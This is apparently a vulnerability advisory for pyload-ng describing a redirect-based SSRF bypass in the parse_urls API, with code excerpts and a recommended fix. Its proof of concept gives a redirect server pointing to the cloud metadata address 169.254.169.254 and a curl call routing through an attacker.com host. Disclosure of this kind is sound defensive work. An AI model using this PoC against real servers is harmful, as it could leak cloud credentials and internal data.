PT-2026-42607 · Pypi · Pyload-Ng
Published
2026-05-21
·
Updated
2026-05-21
CVSS v3.1
5.0
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N |
Summary
The SSRF mitigation added in commit
33c55da for GHSA-7gvf-3w72-p2pg is incomplete. The PREREQFUNCTION-based private IP check was correctly applied to HTTPChunk (download path) but not to HTTPRequest (used by the parse urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is global host() check on the initial URL.Details
The
parse urls API method validates the initial URL hostname:# src/pyload/core/api/ init .py:600-604
if url:
urlp = urlparse(url)
hostname = urlp.hostname
if urlp.scheme in ("http", "https") and hostname and is global host(hostname):
page = get url(url)
get url() is imported from request factory.py and creates an HTTPRequest with default settings:# src/pyload/core/network/request factory.py:58-64
def get url(self, *args, **kwargs):
with HTTPRequest(None, self.get options()) as h:
rep = h.load(*args, **kwargs)
return rep
HTTPRequest. init sets allow private ip = True by default:# src/pyload/core/network/http/http request.py:75
self.allow private ip = True
The
init handle() method enables redirect following:# src/pyload/core/network/http/http request.py:117-118
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)
The
pre request callback that should block redirects to private IPs is a no-op when allow private ip is True:# src/pyload/core/network/http/http request.py:574-582
def pre request callback(self, conn primary ip, conn local ip, conn primary port, conn local port):
if not self.allow private ip and not is global address(conn primary ip):
return pycurl.PREREQFUNC ABORT
return pycurl.PREREQFUNC OK
The fix at commit
33c55da correctly set allow private ip = False in HTTPChunk (http chunk.py:136) for the download path, but HTTPRequest used by RequestFactory.get url() retains the default of True, leaving the parse urls API unprotected against redirect-based SSRF.PoC
# Step 1: Start a redirect server on attacker-controlled host
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do GET(self):
self.send response(302)
self.send header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end headers()
HTTPServer(('0.0.0.0', 8888), H).serve forever()
"
# Step 2: Authenticated user with ADD permission calls parse urls
curl -X POST 'http://pyload-host:8000/api/parse urls'
-H 'Cookie: session=<valid session>'
-d 'url=http://attacker.com:8888/redirect'
# Expected flow:
# 1. is global host('attacker.com') -> True (passes validation)
# 2. get url() creates HTTPRequest with allow private ip=True
# 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/
# 4. pre request callback runs but skips check (allow private ip=True)
# 5. pycurl follows redirect to cloud metadata endpoint
# 6. Response body parsed by RE URLMATCH, any URLs in metadata returned to attacker
Impact
An authenticated attacker with ADD permission can perform SSRF against:
- Cloud metadata endpoints (AWS IMDSv1 at
169.254.169.254, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets - Internal services on private networks (e.g.,
10.x.x.x,172.16.x.x,192.168.x.x) - Localhost services (
127.0.0.1) running on the pyload server
Data exfiltration is partially limited by the
RE URLMATCH regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The REDIR PROTOCOLS setting limits redirects to HTTP/HTTPS only.Recommended Fix
Set
allow private ip = False in RequestFactory.get url():# src/pyload/core/network/request factory.py
def get url(self, *args, **kwargs):
with HTTPRequest(None, self.get options()) as h:
h.allow private ip = False # Prevent SSRF via redirects
rep = h.load(*args, **kwargs)
return rep
Alternatively, change the default in
HTTPRequest. init to False:# src/pyload/core/network/http/http request.py:75
self.allow private ip = False
The second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.
Fix
SSRF
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Pyload-Ng